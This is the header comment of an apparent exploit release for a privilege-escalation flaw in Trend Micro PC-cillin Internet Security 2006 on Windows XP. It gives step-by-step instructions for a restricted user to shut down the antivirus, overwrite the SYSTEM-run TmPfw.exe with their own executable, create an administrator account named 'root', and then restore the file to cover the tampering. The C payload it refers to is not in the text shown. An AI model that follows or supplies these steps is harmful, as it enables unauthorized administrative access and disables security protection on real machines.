/*
* by Team W00dp3ck3r:
* frauk\x41iser, mag00n and s00n
*
* Advisory: www.idefense.com/application/poi/display?id=351&type=vulnerabilities
* Tested on Windows XP Service Pack 2 english
* Version affected PC-cillin Internet Security 2006
*
* Status: currently no patch has been provided (19.12.2005)
*
* Follow the instructions to gain administrative privileges:
*
*
* 1.) Default Installation (can only be accomplished as Administrator).
* 2.) Login is as restricted user.
* 3.) Compile the c code provided at the bottom of this document.
* 4.) Right click on the Trend Micro icon in the taskbar and shut down Trend Micro 
*     (Seems that Trend has forgotten that normal users should not be able to 
*     shutdown an antivirus service).
* 5.) Fire up your favorite editor and open the previous compiled exe (we recommend 
*     UltraEdit) and also open TmPfw.exe which is located in the default installation 
*     directory of your Trend Micro installation. 
* 6.) First copy the content of the TmPfw.exe into a blank document and save it. 
*     We will need it later, when we want to repair the service.
* 7.) Now replace the content of the TmPfw.exe file with the content of the self 
*     compiled executable.
*
* Note: It is really important to alter the content of the TmPfw.exe file. If you 
*       just change the filename of the created executable and then replace the 
*       file, the initial rights which are set during the installation would be lost.
*       The TmPfw.exe file is executed with SYSTEM rights during startup process of 
*       Windows and it's under our control, because Trend Micro really messed up with
*       the permissions. 
*
* 8.) Restart the pccmain.exe and if you type net user in your command shell you will
*     notice a user with administrative rights called root.
* 9.) Finally open the editor again and restore the content of the TmPfw.exe. Now 
*     Trend Micro works again without complaining.
